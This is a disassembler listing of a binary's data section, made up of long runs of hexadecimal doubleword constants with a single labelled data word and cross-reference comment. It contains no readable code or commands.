dd 3BEF05Fh, 0D4B16F99h, 0DA9AFC2Eh, 0DF6D8C82h, 0F4F310C2h
dd 99E837BEh, 37F442C0h, 5C90A26Eh, 0D209DCE4h, 0D092F1C7h
dd 773D3A9Ch, 0CC22F4DCh, 0B0DCF89Eh, 8CBA00h, 0E23186E9h
dd 0FCF9DA1Eh, 1700C8F6h, 5ECCAE5Bh, 97C90371h, 0B6914C97h
dd 5779183h, 7C5AE6A1h, 0F4DC2028h, 2885E336h, 0B01F9CC3h
dd 220EC918h, 0C945271Eh, 1E6C64ADh, 567FFF0Fh, 2947A882h
dd 6379A409h, 57270D18h, 0EDB4A915h, 28DC098h, 2A1883F8h
dd 0C7C8C447h, 88BD8138h, 3E6D4E0h, 0ACC42EF1h, 8E412009h
dd 11E01DFCh, 6BB4C0B5h, 0B91BDD4h, 0E838E390h, 8DF1DCA0h
dd 0A560796Ah
db 31h, 0BDh
word_505446 dw 0FD4h ; DATA XREF: ___:off_435710o
dd 0A9F72410h, 0AA4402A0h, 3C565D56h, 18C0038Ch, 2AC2442h
dd 0DE18BEECh, 7AF24155h, 0AD1E4E1Ch, 0E44B0C64h, 945A00F8h
dd 96B85DA3h, 312D58Fh, 0E16B31Fh, 0B723EC3Ah, 0E9BA902h
dd 10CF288h, 508DBBD4h, 60219F2Eh, 0C6E4AB6Ch, 0D9A67A13h
dd 64C8E48Bh, 0C23585CFh, 0EF77F081h, 0F06A3B09h, 47823700h
dd 445818DCh, 92944212h, 527144F2h, 20C098B1h, 9748C2C3h
dd 0EEE65F00h, 1404FD94h, 0B6C4B86Dh, 0F1C04188h, 68CAEC4Ch
dd 12464A0Fh, 8A606245h, 0E584C0C1h, 0A01D97B9h, 0A7826411h
dd 84CECE13h, 0F06B844Fh, 0A412303Eh, 0E240BE2h, 0B1192C40h
dd 0F47C7345h, 0EEDFAC09h, 37DD8CA4h, 0B3C74718h, 400B8D82h
dd 738FD946h, 91A07360h, 10972221h, 5D48964h, 90AB4AD3h
dd 8680BA68h, 0F07A6AAh, 32421983h, 0E8549603h, 800527D3h
dd 841388F0h, 0D20A5492h, 2DE35884h, 0A4AD630Ah, 0D57159ECh
dd 2C0EDCA0h, 0CB9D7F00h, 0BB8CD9FCh, 6A5030EDh, 331CD831h
dd 2B2FD600h, 6D31C757h, 0C4A34D1Ah, 3AEB2609h, 6CB0CCE4h
dd 3C9978B0h, 9C3C2D80h, 76438504h, 0BB7A2E72h, 5DE902A8h
dd 451A3B0h, 4B06AD40h, 0B7B50280h, 46709DC3h, 4054BC4Ah
dd 3F6C8740h, 7DAA005Ah, 0FC13F81Eh, 0E939CCFDh, 0D209F489h
dd 45F5B12Ch, 601EE41Ch, 0F8EDD536h, 9BFC2FC0h, 0C1670C81h
dd 20347562h, 0D72DFD3Ch, 11CC1DA1h, 0ACCC8065h, 0A4508F6Bh
dd 20190080h, 423F72FAh, 0BF00B16Eh, 56982161h, 4B88525Ch
dd 0C2889770h, 887611A3h, 0C0884D25h, 776B7A0h, 82D0D339h
dd 0EBB0D614h, 16805058h, 40084A45h, 3EBAA208h, 865D5CC1h
dd 0EF72C4A8h, 6E8E901h, 0AC84248Bh, 14DC98A2h, 86FF18ECh
dd 8987621h, 682B3553h, 13EEBD00h, 91461163h, 48E17B8h
dd 0FE1A8B0h, 0BE15C6B0h, 0F9C80091h, 0FC427D51h, 50D26DEBh
dd 79244C30h, 938B00AAh, 0E20A15C0h, 7D002089h, 96D8C9E5h
dd 9DA85EE4h, 16F5C881h, 971BF07Bh, 922C8927h, 0B490C1B0h
dd 801BA611h, 0E447819h, 0E1659Ch, 0B5DBD7F2h, 801AECC9h
dd 3F89CB01h, 2D79DEF6h, 3AB8E06Dh, 0C718DA01h, 41736433h
dd 65CC2C2Fh, 0CA2C4216h, 20FBE042h, 301C78D0h, 5A31AAA2h
dd 0F700AC9Fh, 0D981E95Eh, 2DDB495h, 73B864D0h, 2C83D13Ah
dd 2AB89E45h, 72F88B36h, 0DB0A9EEh, 0E999B560h, 902B1576h
dd 0A2B1050Ch, 81BC4901h, 0E0F73690h, 447F3D19h, 115F7A05h
dd 18B86E8Eh, 39560174h, 409C8DF0h, 443080D5h, 0D9AE911Eh
dd 2A110099h, 0DE90A3BAh, 6600BD7Dh, 86BCB894h, 3042FB9Eh
dd 2E109781h, 58006A82h, 26BA1B5Eh, 954769E9h, 0D6B1E080h
dd 0F27774BCh, 42C10B4h, 0A18B040Bh, 86E341D0h, 19002479h
dd 642AA7B9h, 0DC00D3B6h, 0C60F245Eh, 794B88Ch, 0B92CADBCh
dd 0A8F37525h, 6F079E80h, 8A2352D5h, 7970C09Dh, 272300AEh
dd 0F78FF7Ch, 0D66F661Fh, 3CA34170h, 30345285h, 50F600B0h
dd 0CC01EB74h, 5B1DC7A8h, 0CF8063BDh, 0D796FF56h, 0C01D0059h
dd 8FDDD17Ah, 6102536Fh, 260FCFD5h, 131440E7h, 98DEA47h
dd 67AFB069h, 0B844D444h, 0DCC0E33Dh, 0E172038Fh, 56D01D1Ah
dd 0C0B0CAE0h, 0B852D200h, 0DCA62D88h, 807300C4h, 821F1036h
dd 9B002451h, 4D5F0227h, 9090503Ch, 8D944510h, 0C66697A8h
dd 1E317980h, 7633DAE4h, 0F8D44100h, 1C57892Fh, 0C64F00EDh
dd 0F9567AB5h, 7505E7A1h, 0BCE987D6h, 0FF40C803h, 5008D1CCh
dd 10A5D0h, 6BFAFDD5h, 2299DFB3h, 2D7C6F0Fh, 743FC031h
dd 609CC89Bh, 4A1DB660h, 7C0C8D20h, 38474FB2h, 41E56023h
dd 68027642h, 1445F106h, 18E839h, 8180A457h, 0B9E2D127h
dd 7948632Ch, 268F1E00h, 3F22291h, 0E5257C7Ah, 65B054E4h
dd 0E018E613h, 0C318557Bh, 6F1003A9h, 6BF57FD7h, 66135818h
dd 3CCC61h, 65BB1ED4h, 7734C6BEh, 80A08500h, 70EF6B13h
dd 0E2C21CD7h, 31A9B012h, 0E709A2BAh, 137E92h, 0D30D7CE4h
dd 33353C4Bh, 0D529CDB0h, 60011A5Ch, 0EA01B6CBh, 1887F6ADh
dd 100A40E8h, 0F26D127Fh, 22963000h, 7C056589h, 0FDE703CBh
dd 0FA5FE64Ah, 0D99E6888h, 0CF028800h, 37ED267Bh, 0F32F0013h
dd 0C041CE5Bh, 8AE8A230h, 10CF0D31h, 64189D5Eh, 0D72FA90Ch
dd 1865313Bh, 41E62DA2h, 6E14EDAAh, 0C304ABE1h, 682752h
dd 0DE0F0510h, 0C7BF7773h, 14F74F28h, 31FA8930h, 595DBh
dd 0FE60B628h, 54717CCCh, 522286F8h, 0E0D00E9h, 0FA72BEA5h
dd 6A31A655h, 6F2308A2h, 15362080h, 76B13AA5h, 0C1005876h
dd 0E663F14Ch, 0EEBA890Eh, 6583010Fh, 0F8F05ED6h, 15980EAh
dd 0F673A305h, 0D1F16089h, 649E314Eh, 0D962E900h, 4BD14CF2h
dd 788C13FFh, 0D4870077h, 0CDF77AA7h, 1A13ED1Dh, 608BF9F0h
dd 2D8D0323h, 2AF5C262h, 8360088Eh, 2358E421h, 0A00201D5h
dd 737BFD68h, 0F48848D7h, 602281C0h, 2E90F9h, 0B3B49CF7h
dd 0F49F96C0h, 72039471h, 315803E8h, 65D2E9BDh, 0C77E419Eh
dd 901F3C95h, 765F2A9Ch, 0C8EE2B2Ah, 0A7941B54h, 0A28A8200h
dd 0BCF76570h, 0ADB0024h, 528122Ch, 0DE150E9Fh, 2370B09Eh
dd 234F0314h, 62FC2D80h, 67F12081h, 550CF923h, 0D1F38934h
dd 8FA73F64h, 0BFFEB180h, 739D12A0h, 0C2FCC00h, 4D83351Dh
dd 0D1C8A8F6h, 0E4C77E0Eh, 156606F4h, 0E0E2EBD3h, 0B4180874h
dd 0CEF163D5h, 6167078Ch, 33867DE9h, 83035F1h, 34A321D5h
dd 573D0567h, 0F0127E7h, 325131FCh, 1878E806h, 48619A0h
dd 2D8C2363h, 2077625Ah, 73235BE5h, 0AC1F522Ah, 5F5A6500h
dd 0BD362DE9h, 55CB000Fh, 894DF214h, 38CEA54Ch, 81F4ECE6h
dd 0D6C50BFCh, 0D009E76h, 64E2E549h, 0DCA19C77h, 9869B2CAh
dd 4CC0B017h, 2D811123h, 80808882h, 512364F0h, 0C5182637h
dd 0F319AC1Ah, 0D6EC4Eh, 849F875Bh, 7B5FEC39h, 7B3DE091h
dd 48492D38h, 99B3E28h, 20E58667h, 0A8C841D0h, 177B010Fh
dd 0E762630Ah, 80A63109h, 0A8C03741h, 6E84BA7h, 51B78A9h
dd 690259EEh, 767B5C6Bh, 89E4A316h, 0C23900FDh, 7199961h
dd 3B014D27h, 0DDF61B0Bh, 0CC50889Eh, 62E31DA3h, 0FBF03145h
dd 69D2B890h, 4F20F4A8h, 0BB6C491Dh, 2006E792h, 0A7D9C51Bh
dd 677D4460h, 2E0B0560h, 0A4030084h, 1C93ECE3h, 49C1F2E6h
dd 0C6AEF9E9h, 4C426835h, 678930BBh, 35E96610h, 6731AEE0h
dd 922D083Eh, 842F225h, 0A2F7E01Ch, 0AF2AF0B8h, 2D7282A0h
dd 58CC9929h, 0A81DBF18h, 9107B0Ah, 0A8B724B0h, 9CC57F0Ah
dd 76118CCEh, 8BF817h, 6C52F6D1h, 0B4981339h, 7A1A5005h
dd 53803B59h, 31CA1E75h, 0A0B966D5h, 0BD8A30E5h, 5FD35500h
dd 4ABF3316h, 0D0EA0111h, 0AA9C2671h, 0BD50485Ah, 7B18A808h
dd 434DC4EFh, 0F1A8B522h, 2C604CBFh, 0BE800246h, 0E886E6DBh
dd 0F8E61446h, 796B8100h, 0E5850C04h, 5BC2019Ah, 67678A1h
dd 8070BFE3h, 4A30566Fh, 2C53B10Eh, 0C020886Eh, 72C8A510h
dd 2022EA46h, 0A5173400h, 313A6333h, 70DE39DAh, 83DC4C4Ch
dd 0EF3F9748h, 0F47F2BD1h, 0B07F02Ch, 7B8214C4h, 25982240h
dd 0C7300FDh, 76DB4AC5h, 3098A25Bh, 8344E4A7h, 0C0792467h
dd 4AA26B09h, 0FCA10402h, 0A7FB8974h, 1CA00F8Ch, 797096h
dd 0C547F428h, 746F5F5Dh, 705249CAh, 4F948C00h, 0FD5777Dh
dd 296DC681h, 9060B781h, 8A09EC7Bh, 8F1ED899h, 63DE6A00h
dd 0CD0D8Bh, 9E1D3338h
dd 0EA3B42B6h, 857B2639h, 0D3A8559Ah, 1E894088h, 0BFCF69Eh
dd 38104D8Bh, 0E036214h, 0A50C2CC6h, 68B8C820h, 671058D0h
dd 0E3555C00h, 50687A3h, 2157B09h, 8384108Ah, 0F5340FCEh
dd 1F20A3ADh, 0E9549EF2h, 1CA59306h, 30B1EFE7h, 0DAF1AD1Ah
dd 0A200919Ah, 0A4E7E080h, 5265DF19h, 5B04881Ah, 0C3A79E5Fh
dd 9AF1724Ch, 2CEC836h, 2A8EFE00h, 7660235Dh, 7831C3B0h
dd 0E17B7173h, 1C951B2Eh, 467418A6h, 65410082h, 2507081Bh
dd 0FCDC331Dh, 0D9C081C1h, 2E48326Ah, 11B509FDh, 4620144Bh
dd 234E0215h, 31522D7Fh, 66E6107Eh, 0DCDE0023h, 6FDB0BFDh
dd 0C00A0BCh, 20359EADh, 1365D1FEh, 22192DF0h, 79205CA8h
dd 0A21AE3h, 722B1529h, 30256F71h, 2EC9EA01h, 4E2FC377h
dd 8CB57C34h, 11678B26h, 7C628513h, 33B020CAh, 0A61DDB67h
dd 0F8A8F21h, 8914D55Ah, 9A2A87F8h, 52E47820h, 7099CF1Ah
dd 998C3B41h, 7EA8E7AFh, 7D00687Fh, 0D15BA59Fh, 13745A60h
dd 81EECB8h, 0CBC06440h, 217B0EA8h, 0F5910A1Fh, 0A8C33801h
dd 50B11AABh, 34D91D9Ch, 72133B7Fh, 0BC4950E5h, 0DC9C901Ah
dd 1BF0002Bh, 4FCCD364h, 38003688h, 0BB9A50DFh, 13B5628Fh
dd 8C51A07h, 61CF3240h, 9A72C2A5h, 2A882518h, 0BAA400A1h
dd 0BB4C9D4Eh, 762EDC02h, 9E6450D8h, 8A236560h, 642A2D2Ch
dd 6521EB71h, 2B51DD4h, 0CC10A220h, 5851A56Ah, 0EE188179h
dd 5F244EE8h, 0CB41A461h, 0EC5368D2h, 8D10D8A2h, 0B6A502E2h
dd 0CA83FABCh, 4D820CC0h, 241E3091h, 5E1C4880h, 6798Dh
dd 0CF70C92Dh, 71206D2Bh, 925FB201h, 0BE41AF24h, 0D858142Ch
dd 0D2411631h, 0E671805Dh, 4972A29Fh, 819300A5h, 0FD030EB0h
dd 2616B937h, 34DBEh, 22E2712Ch, 7E0F6738h, 4FC36CB5h
dd 0CD1ABF7Ch, 0C1648419h, 50677F60h, 8765E910h, 0A49ED2C8h
dd 6A4567C1h, 7C2D8BAFh, 662EF001h, 0E9FE9EE0h, 74B6F92Fh
dd 74963910h, 0C16D780h, 39D66AAh, 2F51A671h, 2900B38Fh
dd 6CD689ABh, 0FC347CD5h, 0A4F63F20h, 32E2DA89h, 7B7CA064h
dd 9EE2C3Ah, 1970CAB7h, 1433B054h, 0E83381A2h, 70EBCBDh
dd 946B9B7Dh, 0C54C017h, 1891CC83h, 0AE187F79h, 0C7088400h
dd 33103B7Dh, 744D5CE9h, 0D72F7880h, 0A501E850h, 631D5243h
dd 7820561Bh, 0FBF1A1h, 6FE99D29h, 0CBA4C258h, 68EF6C0Fh
dd 0C00F60F7h, 87F44h, 17495D7Eh, 0E0D904CEh, 87FEC51Dh
dd 473EC3C0h, 7C06CBFFh, 1880F191h, 3F0F840Eh, 45569627h
dd 0A7E7C720h, 0CD8A0F68h, 0D82012Eh, 2EE0028Fh, 0C707999Bh
dd 8515C9C8h, 4F541FC0h, 518E0018h, 0C062335h, 0CF29120Bh
dd 814C2001h, 5C5D20F3h, 92011484h, 9A4FC80Ch, 67F0D7DAh
dd 438B0140h, 0A68EFCD0h, 60D5FE84h, 5BBC944h, 7F4E7D16h
dd 8345902h, 0EB805141h, 0A0901BB1h, 742CF7F8h, 460098FCh
dd 1294D1A3h, 129E6DFh, 27A660D4h, 20AE9B8Ah, 52269910h
dd 73A688Eh, 0ABDE9198h, 40C38F92h, 26BE896Ch, 0CF9024Ah
dd 9C298BF5h, 0C4BA2284h, 0BCCB09FBh, 0B08E15Dh, 846690D6h
dd 5448975Ah, 22D82642h, 0E224582h, 21682495h, 2E12DA06h
dd 2492B213h, 1C4B2Ch, 68A2D1Eh, 477E122Bh, 0B5AA0779h
dd 67DEA1DDh, 0B23ADCD6h, 38DFD750h, 9B51D41Eh, 31B7003Dh
dd 8889AC61h, 0E31C00D0h, 75BA7B8Bh, 41771886h, 0E9771F7Fh
dd 0D0489303h, 0D0F339ECh, 9419BEh, 13781DFFh, 483FA434h
dd 9F83D300h, 82A8860Bh, 0B8790038h, 0D9D67E12h, 0A51EE7A6h
dd 0CE406157h, 10DB91Bh, 3BEB0243h, 91B8B6CAh, 0A9C175E0h
dd 0DE5AD900h, 4D45878Ch, 1A2F0155h, 5D4B9EF8h, 6ED6306Dh
dd 0E6C7C200h, 5C3D6BFDh, 4F7EB1h, 2B64E157h, 0E8EAF4CEh
dd 45D89201h, 6A76B395h, 65391980h, 0A862B975h, 32B78F0Fh
dd 1AAF464h, 34F7AE49h, 0C4C821C8h, 70E000ADh, 0F4C6F029h
dd 0CA00D91Ah, 2AD38988h, 7469EAh, 0CAA250Ah, 3136FB94h
dd 80A77F3Ch, 536F8A5Ah, 1B0BFC8h, 0DCE9C511h, 0C047EBC1h
dd 0ED01D1A0h, 0DF34ABD2h, 59F86286h, 52F20097h, 3690E047h
dd 0A6481B39h, 0C861005Ch, 8BF97CBAh, 6D820018h, 7A23BE49h
dd 41214B6h, 0BEA05Bh, 0D24742BFh, 2AFE8A97h, 46584800h
dd 0E1CE62E7h, 890500EFh, 93D7136Dh, 3D01C084h, 0EC53ADE0h
dd 8C406672h, 1879FDBh, 0C49A7FB6h, 34327636h, 0FF01E388h
dd 14EA1348h, 0D8408D2Fh, 0F1FF2AAh, 6B44CF8Ch, 0AC7D3AC0h
dd 0BB0EF021h, 327CC7h, 77428592h, 905416E7h, 0F09800EBh
dd 6C2C2545h, 1316B400h, 0F9CE69A9h, 2820E209h, 108059B1h
dd 0A5410Ch, 5E67A656h, 4188A1Ah, 4F2F5A4Dh, 0E0BB0030h
dd 0C2240704h, 0D9C68FF0h, 0A840E3DFh, 80164Dh, 90F54FEEh
dd 700B23FDh, 20F1E72h, 0E1B6D7B3h, 81BB5964h, 47B91D0h
dd 0DE307D74h, 0E39481FDh, 94B7D42Fh, 3F7E200h, 0E40DEC7Bh
dd 0D86B00BCh, 44B5F46h, 0C300752Fh, 0F405F116h, 3A4829A2h
dd 5886977Eh, 60526A19h, 0B93AA47Eh, 0B2206031h, 3AA31128h
dd 779C7557h, 984E8084h, 0E7BF27D7h, 0ECA7671Fh, 13705EC7h
dd 0BB8DB810h, 21DA0774h, 8042E6FCh, 18D608A7h, 789FBA48h
dd 907F8F28h, 6E9B901Eh, 410F8100h, 392D8B8h, 21EC629Ch
dd 17D81836h, 0C400286Fh, 1BD6DA66h, 5356948h, 3806B7Fh
dd 9E81BED3h, 0F1309B5Ch, 2459E811h, 87046A21h, 0C2C19558h
dd 1E40F6B2h, 220FC825h, 40571699h, 0FFAB830Bh, 91A800A5h
dd 0F688F4D5h, 0EF00A264h, 603CBDCAh, 2AD945Dh, 34960743h
dd 3460AB6Eh, 0C30026DDh, 0E8855180h, 36694EEh, 0EB8F81F1h
dd 43C02B5Fh, 0F83E2D91h, 31958757h, 0A00FA679h, 38EDC934h
dd 0A0EC73EEh, 4CFB6B0h, 0DDA94BEAh, 35C8AFEh, 0C763F78Fh
dd 6B46E07Bh, 550101B4h, 0CCAE90B9h, 0B1C230D5h, 7BCDC402h
dd 0C0AC8633h, 41F1B4h, 0DDC54B77h, 0F5C09A5Fh, 30EB4Dh
dd 6BC83165h, 401ADFh, 0DEE0133Ah, 48351DA6h, 5C48BD75h
dd 717F11A8h, 0BA66CB00h, 0A493EB09h, 0C7673300h, 1B039184h
dd 254B2426h, 0B2A70068h, 62F46B57h, 45E9C403h, 9867D973h
dd 1537279h, 519CA87Eh, 31BF8DA3h, 0B845D80Ch, 76BC8207h
dd 0F0FAA63Ch, 411A2C00h, 0F004E1F1h, 1DBB005Bh, 0C1053A86h
dd 850133ECh, 18669388h, 0F3C3589Ch, 44A800F5h, 1D80EA89h
dd 12005C2Fh, 644EDFAFh, 0BC4AFFh, 30FE8FF2h, 0F92B0AD7h
dd 86F02C5Eh, 760601BDh, 20E28550h, 913030B6h, 0BBDF8C00h
dd 77572C1Ch, 89B4009Ch, 1E196A64h, 8A1621C0h, 340009AEh
dd 0DCFD8B8Ch, 4BFE0281h, 0CD98F3BFh, 8683DDC0h, 7E582714h
dd 949900E4h, 0B32BF55Dh, 0DA410053h, 0A9B97322h, 0D80EE415h
dd 80D3645Eh, 0F0E3CAE9h, 0AB1B00F3h, 0D474F5A5h, 500B45E8h
dd 0A9F6DDh, 3FF8A665h, 8440011h, 0BF9AFCB5h, 6D002AA0h
dd 0DEB0DF04h, 58F97h, 4209E229h, 4AF26A59h, 7FA1DD0Fh
dd 0AE8B2014h, 0B8E444h, 4265718h, 94168712h, 92F6E300h
dd 0F25C6B7Eh, 55400DCh, 0EDABF901h, 6C0E12C1h, 607D27BFh
dd 993E192Ch, 0D17B0ADAh, 41AC4D1Fh, 7F73157Fh, 40BFD00Eh
dd 0BB9A0874h, 27E6E7h, 8EEAD433h, 620B4D30h, 16131778h
dd 9440C02Eh, 0F3A95F14h, 78771496h, 0B900A0ABh, 6E7D22C3h
dd 8C004818h, 0C70F6C90h, 233E77h, 68BEE1F5h, 199D47A9h
dd 80D89A3Dh, 0A1CA694Bh
dd 44A8C32h, 0CD0F21D5h, 0E994C037h, 910E59A2h, 801EB697h
dd 86719931h, 953600F0h, 0AF3C1DFBh, 0CD00BF96h, 0BEAEC541h
dd 7785DC3h, 85D9E0F2h, 0D55EC21Ch, 0B5BA9C48h, 80980A3Fh
dd 90047D23h, 0BE64E555h, 51140024h, 0A37F1174h, 3E2B0758h
dd 0D25C8033h, 4ED06602h, 59C30067h, 0C15055DCh, 2000AA4Fh
dd 782EB35Eh, 130224C8h, 4147910h, 0D3330404h, 0A7E0B944h
dd 0D874D77Ch, 0CEBE671Dh, 8AB42180h, 12FA82h, 0EF639F94h
dd 0CFC87535h, 5E541600h, 7C0F7833h, 32756Ch, 0FAF4C574h
dd 0BBD4860Dh, 0D621FF00h, 0BC3E7916h, 0CEB91E1Ah, 70E463h
dd 0D09C4DE2h, 0C2383A60h, 0C47D007Ch, 76D4C18Ch, 6EFF0031h
dd 0A1891E28h, 42C4258h, 0D005049h, 5477E320h, 0F440098h
dd 45F4F187h, 7407DB66h, 34E89101h, 28A11E65h, 0A75EC8h
dd 14C173F6h, 0C6534569h, 0B8A14A7Ah, 0E0B0C8C8h, 93AC2C00h
dd 0AE5B129Bh, 0A0860017h, 32EDC10Ah, 0B0A85FD6h, 9901D505h
dd 0F4C4C290h, 70805D12h, 5B629480h, 0DB1DB798h, 0BBC7A188h
dd 0B2E3F35Eh, 0EE0E803Dh, 47D200C4h, 0B49D54D9h, 92006359h
dd 0A899D7C2h, 1D4B9638h, 8707F42Ah, 90703ECEh, 3223372Bh
dd 5E0089FEh, 0F39A9568h, 317B46Eh, 0A9F99E88h, 0B6F92603h
dd 0E08070D5h, 0C0004B0h, 0EDF4B152h, 984AEBFAh, 0FE9A0047h
dd 978C21D4h, 6FF6CFD6h, 0F57ED204h, 10AC13AAh, 0C014D01Eh
dd 53ABA904h, 5B3FF867h, 0D68B00C3h, 7B58C740h, 915A00A4h
dd 2FA974AEh, 3939E97Dh, 0CCB885h, 6941A556h, 131914E7h
dd 40716C6Bh, 0FE39187Ch, 15007664h, 7512C759h, 48360A0Bh
dd 2013E396h, 1DEC05C4h, 0F608C14Fh, 190FFCABh, 0F0EDC02Ch
dd 39D8A700h, 0B6B3CFh, 38D13691h, 163CE1AFh, 0A717F313h
dd 807A14C2h, 3BFFBEC8h, 32CB1CADh, 0DE64821Ch, 7240814Fh
dd 5D005A27h, 6BAF8A39h, 482C453Fh, 8C0C5054h, 12119714h
dd 0FCA37A00h, 30E3F788h, 108767Ch, 270E6447h, 0D0E712B9h
dd 4D001B6Ch, 9195B4A3h, 22BE4h, 0FB700503h, 7F120D59h
dd 0DD0E0A7Eh, 409C10C7h, 698E30A1h, 74343B52h, 8A9B8680h
dd 806DC366h, 0EC069307h, 0A4308DBEh, 7F3E90h, 7832A0Eh
dd 0DA39C96Fh, 159CA200h, 858C92CAh, 0FCFA81h, 6EB7122Eh
dd 1D26EA4Dh, 0F3602400h, 8BFE8225h, 8E0900CBh, 0C2E57FDAh
dd 0B1C77A8h, 48C13C26h, 2A8497CFh, 0F3787FCh, 0DE169AF1h
dd 120CFC60h, 2B03C2EAh, 3A09478Ch, 0AE8812FEh, 3E6A000Bh
dd 0E4AFA739h, 0EBF75000h, 0C987D26Ch, 955E0309h, 3815A011h
dd 80B92938h, 0AE895AFEh, 0C4264Fh, 7B6037A5h, 5152D756h
dd 0E180F603h, 0A8F067CCh, 7684E070h, 78BA1EADh, 33ED8198h
dd 40E79472h, 0A5A957ACh, 4FC9BF07h, 0D55A2C1Bh, 6840DC1Dh
dd 1F9F4CFBh, 11F8006Fh, 0A063A616h, 0C8EF1A19h, 0BB008FB3h
dd 22E22188h, 984BD178h, 99330028h, 0EBA55428h, 640027BEh
dd 1F9B50F7h, 1E85DB4h, 0D0E06F68h, 80C35236h, 589D3A40h
dd 234282h, 0F6694A72h, 0A60EF5A3h, 0A15A500h, 89D7E7DDh
dd 1FB700AAh, 0FED4CB11h, 41588C81h, 22B50153h, 0E3D90E67h
dd 7470660h, 2DDFD2D8h, 0C8FF4054h, 26E43E0Ah, 4FF4AA70h
dd 0A1EC2C00h, 661697C7h, 6D710ED2h, 0F8EAFC6Fh, 75D8018Ch
dd 20698786h, 0D701044Ch, 0C69281F4h, 0A3E01044h, 8C950098h
dd 2EFA1B93h, 9401A474h, 15050982h, 0FE6075C1h, 31E6249Ah
dd 80061F08h, 32F676D2h, 0DD39FD44h, 0FED7BC4Dh, 206220CEh
dd 7DDAC923h, 54D60620h, 0F0528644h, 88A63000h, 7317483Fh
dd 46FA003Bh, 7B9215F7h, 0A20EFFBAh, 8027DAE8h, 0A5EDF89Fh
dd 569C0004h, 0DE5EC612h, 0FCEBCAE3h, 0B20772C4h, 0C7ED8046h
dd 6AD9E36Eh, 5BC18838h, 5271002Ch, 49E98CD4h, 0E3004854h
dd 86BBF097h, 0A0E6BC01h, 7CB17F8Ch, 57D100CDh, 0C4470423h
dd 3400B490h, 0A7240370h, 0D076E7h, 7BCE0E39h, 0E93DE148h
dd 97039BE4h, 0A099093h, 53B9803Ah, 1B8B1238h, 8D18029Ah
dd 0D62195F3h, 0F3309E1Dh, 16DA00FDh, 0AACE597Ah, 6000948Ch
dd 7E1D0221h, 500FA0F4h, 3B75A011h, 27077F7Dh, 0A0B0FE6Ah
dd 6CE74C0Ah, 9BBEAA01h, 0E860EEC9h, 923BC8EFh, 0B501009Eh
dd 0FE1D4FCBh, 8270870Eh, 0C6B8FF50h, 0F03B39h, 94DA9E16h
dd 0DB5AD9h, 62E901DCh, 0E5F19912h, 0CAEF1700h, 0CF68C633h
dd 5D7D0532h, 0AE90AF3Eh, 235637C0h, 5F7E0771h, 0D01B09D4h
dd 443C11A4h, 0A5DA5A00h, 0C6142FADh, 0EECB0B0Bh, 5D830A31h
dd 590677Fh, 0F400282Bh, 165C3455h, 17B1D4Eh, 23FA3A03h
dd 0EC3759E8h, 6400DC9Dh, 383C0126h, 28732Fh, 0FA124291h
dd 6BB3AB3Ah, 0B774B60Fh, 8EA040B0h, 0A0F99839h, 0D55BE4h
dd 4BCDBBA9h, 0F8A3281Fh, 10D88F00h, 8348FF94h, 0F453001Bh
dd 67BDEA15h, 16771DBCh, 8B00B7E4h, 0FE2584BFh, 4D57426h
dd 37FF2447h, 0C0B10E9Bh, 32602789h, 0D0415466h, 29C00E9Ah
dd 174E6Ch, 1848CC05h, 0C700AB3Ch, 0A16AEEDCh, 3BA413B1h
dd 219F8D0Eh, 0C8FE9416h, 83916F00h, 155C131h, 3F00757Dh
dd 7976E3CCh, 4FB89E8h, 442F7FD6h, 0B208C3E4h, 6C1B3DB0h
dd 0CDC44801h, 740C3375h, 9BDCC0h, 0A6A90DBBh, 49F7D7C0h
dd 0D198DA00h, 92A71AC1h, 0B5EF0085h, 0ACC44114h, 1D023F89h
dd 0DF944A6Eh, 189EC10Ch, 8FA9C8h, 2A9AB232h, 0CF4A6A79h
dd 13B0EC00h, 0C2D4C95h, 0ED390010h, 0B66837E2h, 2C9ADCF1h
dd 6D119F00h, 0C3B771F6h, 24E70065h, 0D3551330h, 0C71E85A3h
dd 59401747h, 0E8DA6EA1h, 4AC20441h, 0EC37FA5Dh, 9BAA1398h
dd 98F3C400h, 0A0AC782Bh, 4092EDBCh, 73F6F5F6h, 0AE023C75h
dd 0F12CBC8Ah, 0F06DC0FEh, 463601F7h, 0FB1910F3h, 0FF1680EBh
dd 6D0CEEE1h, 0A3D701CCh, 2B5AC9E0h, 0C4F0617Eh, 0C300C166h
dd 2372C0A7h, 162D269Eh, 2E028h, 27017C71h, 0B6A0B30Ch
dd 0F70AFF83h, 0BCACAFA1h, 691DD500h, 1F58BA73h, 9E47AD10h
dd 0FF6EC1F4h, 75C5CC39h, 99CD4020h, 0E201F331h, 2EC65FDAh
dd 1DE85A73h, 0BA938BAh, 960FBC00h, 4F81ADF7h, 1F20EC00h
dd 5C5F613Ch, 2B501E1h, 5EC5D140h, 0E384EC0Dh, 3E464E00h
dd 0AD34FC59h, 0A56C00CEh, 151C3D5Dh, 8912A9CDh, 0F0004688h
dd 0C6ABA17Ah, 70FCEDEBh, 73C90042h, 0E3663B1Dh, 0E10038B4h
dd 164AD902h, 7541C07h, 4878C6B9h, 0FA80791Fh, 0BBA65833h
dd 0B5EC9600h, 0DF68DD9Dh, 5C423E80h, 75851480h, 50AAE54Eh
dd 4C5D5B2Ch, 8105CE00h, 58E044D1h, 0CF0075D9h, 1DE4B131h
dd 33247B6Dh, 0D300CB47h, 422E2CE1h, 0A9DC0051h, 12500E36h
dd 0BB180402h, 8DA91E93h, 7A1300AAh, 7832F06Eh, 3A00A233h
dd 3992917Bh, 7F5FE6h, 3F51D15Ch, 188744D2h, 129B34FBh
dd 0B41DBF00h, 6457EEA7h, 0A34500D4h, 0CE1310A8h, 0C3038238h
dd 2321D8F6h, 9A419007h, 995900EDh, 0D0FBE002h, 0EB00D36Dh
dd 5B44DD40h, 30A80C76h, 0D309D07h, 0F1003475h, 32966631h
dd 4F8284h, 60FB610Ch, 1159C691h, 6DA00300h, 6456D696h
dd 0CBE249h, 0E7CA2F9Ah, 0B0632B5Eh, 388FF00h, 0DFEC982Ch
dd 362500F2h, 9BCE5B78h, 68003D14h, 0B84AEFCh, 664F5Ch
dd 0C5EDA2A9h, 9B860174h, 8B126071h, 0C801E42Bh, 8686661h
dd 17D2FAF0h, 5D6529h, 0E65F45BDh, 0FB1EA2B3h, 0C4F08459h
dd 37780483h, 0C1B8099Dh
dd 87E70C8Ch, 283A6249h, 0A02A60E3h, 994299Bh, 26F26BEBh
dd 0E600A78Bh, 7AF4D8FBh, 5D740B03h, 0C9DF5E6h, 0DD074561h
dd 0FA1DE778h, 0C60F0D89h, 77608001h, 7BE39283h, 7BA05F6h
dd 258BFBh, 2812FA60h, 8251789Ch, 0D49BF84Ch, 770D5A00h
